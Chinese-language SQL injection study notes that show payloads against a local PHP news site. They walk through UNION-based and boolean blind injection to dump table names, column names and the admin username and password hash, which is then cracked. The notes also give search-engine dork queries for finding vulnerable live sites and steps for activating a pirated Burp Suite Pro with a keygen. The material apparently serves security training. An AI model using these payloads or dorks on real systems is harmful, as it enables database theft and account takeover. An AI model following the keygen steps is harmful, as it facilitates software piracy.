0.Sql注入的前置知识

  1. information_schema
information_schema 是mysql5.0以上版本中自带的一个数据库。
2. tables
information_schema库中的tables表中table_schema列(存储数据库名)和table_name列(存储表名)
  1. columns
information_schema库中的columns表中table_schema列(存储数据库名)、table_name列(存储表名)、column_name列(存储列名)。
# 查看news数据的信息

 # 1.news数据库包含哪些表 
select table_name from information_schema.tables where table_schema='news';

 #2.news数据库news_users表中有哪些列 
select column_name from information_schema.columns 
where table_schema='news' and table_name='news_users'; 

 #3.获取news数据库news_users表中指定列的数据 
select username,password from news.news_users;
order by子句用于判断查询结果中列的数量
order by n正常,order by n+1报错;列的数量就是n

1 Sql注入的分类

1.1按照参数位置

1.2 按照参数类型

1.3 按照结果反馈分类

union注入

页面中显示sql语句的报错信息
页面显示sql的执行结果这种条件可以直接使用联合注入

盲注

页面中不会显示sql语句的报错信息
页面不会显示sql的执行结果

2.手工普通union注入

2.1 找注入点

http://127.0.0.1/news/show.php?id=46
  #方法1.增加单引号报错,说明有注入点 
http://127.0.0.1/news/show.php?id=46' 


 # 方法2 两者输出不同,此处存在注入点 
http://127.0.0.1/news/show.php?id=46 and 1=1
http://127.0.0.1/news/show.php?id=46 and 1=2

 # 方法3 对数值做减法运算,如果有正常输出,大概率存在注入点,不用 + 
http://127.0.0.1/news/show.php?id=46-1
猜测在服务器端,sql语句:
$id=$_GET['id'];
$sql="select 新闻标题,新闻内容,...from 新闻表 where id=".$id;
正常情况下:$id=46
$sql="select 新闻标题,新闻内容,...from 新闻表 where id=46";
采用以下语句判断:$id=  46 and 1=1 
               $id=  46 and 1=2 
$sql="select 新闻标题,新闻内容,...from 新闻表 where id= 46 and 1=1 ";// 没有影响
$sql="select 新闻标题,新闻内容,...from 新闻表 where id= 46 and 1=2 ";// 不会有任何输出

 我们输入的参数不同,改变了页面的显示结果,表示存在sql注入.
如何利用google(bing)搜索引擎查找可能存在注入点的网站。使用bing国际版,输入:
inurl:.php?id=1
inurl:.asp?id=1
inurl:.aspx?id=1
查找在url中,包含.php?id=1数据的页面。非常典型的get传参页面。

2.2 猜解Sql查询语句中的字段数量

select * from 表名 where id= 50 order by n ;# n从1开始,不断增加n的值。判断查询的字段数量

http://127.0.0.1/news/show.php?id=50 order by 15 # 正常显示
http://127.0.0.1/news/show.php?id=50 order by 16 # 报错,告诉我们没有第16个字段
Sql查询语句中的字段数量为 15

2.3 确定显示的字段位置

2.2得知,我们查询了15个字段,哪个字段是在页面中显示的呢?
使用union select 进行联合查询。前后的字段数量要一致,类型可以不一致。
在浏览器中:
http://127.0.0.1/news/show.php?id=-46 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

显示结果:
3和第11个查询字段在页面中显示。

2.4 利用显示字段获取系统信息

例如:获取当前数据库名,版本。
浏览器中输入:
127.0.0.1/news/show.php?id=-46 union select 1,2,database(),4,5,6,7,8,9,10,version(),12,13,14,15
显示结果:
获取到当前数据库名为news,mysql的版本是5.5.53

2.5 获取news数据库中所有的表名

select  hex(group_concat(table_name))  from information_schema.tables 
where table_schema='news';
mysql编辑器中执行(原理):
select * from news_article where id=-46  union  select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news';
在浏览器中修改url为:
http://127.0.0.1/news/show.php
?id=-46  union  select 1,2, hex(group_concat(table_name)) ,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news'
获取到的表名的十六进制格式是:
6E6577735F61727469636C652C6E6577735F63617465676F72792C6E6577735F66696C652C6E6577735F667269656E646C696E6B2C6E6577735F6D6573736167652C6E6577735F6E6F746963652C6E6577735F706167652C6E6577735F7573657273
再把十六进制转换为字符串,就在hackbar工具中转换:
news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page, news_users

2.6 获取news数据库的news_users表中的所有字段名

mysql编辑器中执行:
select * from news_article where id=-46 union
select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema='news' and table_name='news_users';
在浏览器中修改url为:
http://127.0.0.1/news/show.php
?id=-46 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema='news' and table_name='news_users'
获取到的字段名的十六进制为:
7573657269642C757365726E616D652C70617373776F7264
再把十六进制转换为字符串,就在hackbar工具中转换:
userid,username,password

2.7 获取指定字段的数据

mysql编辑器中:
select * from news_article where id= -46 union
select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from news.news_users;
构造url:
http://127.0.0.1/news/show.php
?id=-46 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from news.news_users;
执行后的数据:
61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
再把十六进制转换为字符串,就在hackbar工具中转换:
用户名:密码
admin:e10adc3949ba59abbe56e057f20f883e
密码经过了hash运算的,借助工具获取原始值:
网址: https://www.cmd5.com/
123456
网站管理员的用户名和密码:admin 123456 ,完成拖库!

1.布尔盲注

1.判断注入点

http://127.0.0.1/news/show.php?id=46 and 1=1 # 正常显示
http://127.0.0.1/news/show.php?id=46 and 1=2 # 不显示
and 1=2 # 不显示

2.获取当前数据库名称长度

构造url:
# n的值由1逐渐递增,当新闻正常显示时,n的值就是数据库名称长度。结果是 n=4 
http://127.0.0.1/news/show.php?id=46 and length(database())=n

3.获取数据库名称

原理:
先变换n的值,获取对应的字母;变换m的值,获取其它字母。
# m:[1, 4 ],n: [32,126]可见字符的范围 
#select ord(substr(database(),m,1))=n;
构造url:
http://127.0.0.1/news/show.php
?id=46 and ord(substr(database(),1,1))=110
得到数据库的名称是:news

4.获取news数据库的所有表名组合起来的字符串

原理:
select length((select group_concat(table_name) from information_schema.tables where table_schema='news'));
构造url:
http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=n
获取长度为:98
猜测表名称组成的字符串中每一个字符
select ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'), 6 ,1))= 97 ;

构造url: m的范围[1~98],n的范围[32~126]
http://127.0.0.1/news/show.php
?id=46 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'), m ,1))= n
得到数据表组合起来的名称是:
news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news_users

5.获取news_users表所有字段组合起来的名称

原理:
select length((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'));
获取长度为:24

select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users';
select ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),1,1))=117;
构造url:m的范围:[1,24] n的范围: [32,126]
http://127.0.0.1/news/show.php
?id=46 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n
得到news_users表所有字段组合起来的名称:
userid,username,password

6.获取news数据库的news_users表的username字段的值

原理:
select length((select group_concat( username ) from news_users));
获取长度为:5
select group_concat(username) from news_users;
select ord(substr((select group_concat(username) from news_users),1,1))=97;
构造url
http://127.0.0.1/news/show.php
?id=46 and ord(substr((select group_concat(username) from news_users),1,1))=97
得到news数据库的news_users表的username字段的值:admin
按照相同的方式,可以获取password字段的hash值: e10adc3949ba59abbe56e057f20f883e
再通过cmd5查询得到值: 123456

第一个方法联合注入从页面中获取数据库的信息。
第二个方法布尔盲注没有利用页面中显示的具体内容,所以称为盲注。
盲注需要一个字符一个字符的猜解,所以采用全手工的方式,耗时耗力。一般要结合工具或代码来完成。

安装和配置java环境

首先是java环境的安装,安装后,需要设置环境变量。
新建的:
JAVA_HOME C:\Program Files (x86)\Java\jre1.8.0_202
classpath C:\Program Files (x86)\Java\jre1.8.0_202\lib;C:\Program Files (x86)\Java\jdk1.8.0_202\lib\tools.jar
在原有的path变量中添加:
path %JAVA_HOME%\bin
进入到cmd命令窗口,输入:java,看到参数表,表示安装java成功!

安装Burpsuite

1.双击burp-loader-keygen-2.jar,在界面中 点击run按钮。
注意:run不动就重新打开一下burp-loader-keygen-2.jar
5.run之后显示:点击 I Accept(我接受)
6.出现以下页面
7.将Burp Suite Pro 1.7.31 Loader & Keygen - By surferxyz界面的License值复制粘贴到第6步的空白框中
8.粘贴之后点击Next
9.出现如下界面,点击Manual activation按钮
10.出现如下界面,点击Copy request按钮
11.将复制到的内容粘贴到Burp Suite Pro 1.7.31 Loader & Keygen - By surferxyz界面中的Activation Request对应的输入框内
12.将自动生成的Activation Response的内容复制到Burp suit ProfessionalPaste response框中
13.点击next,出现如下界面代表成功
14.点击finish,如果出现如下界面,点击Delete,点击next→start up


3.burpsuite使用时,常见的问题

1.Burpsuite抓不到127.0.0.1的解决办法

参考链接:https://blog.csdn.net/G208_522/article/details/121340733
  1. 火狐地址栏输入about:config
  2. 然后访问在访问后的搜索框内搜索network.proxy.allow_hijacking_localhost,将值改为true

2.Burp抓包经常出现detectportal.firefox.com解决办法

参考连接:https://blog.csdn.net/weixin_44023403/article/details/115273979
  1. 在浏览器输入 about:config
  2. 继续搜索 network.captive-portal-service.enabled,然后双击,即可将true值修改为false。

ascii与字符串互相转换
https://www.toolnb.com/tools/asciiTools.html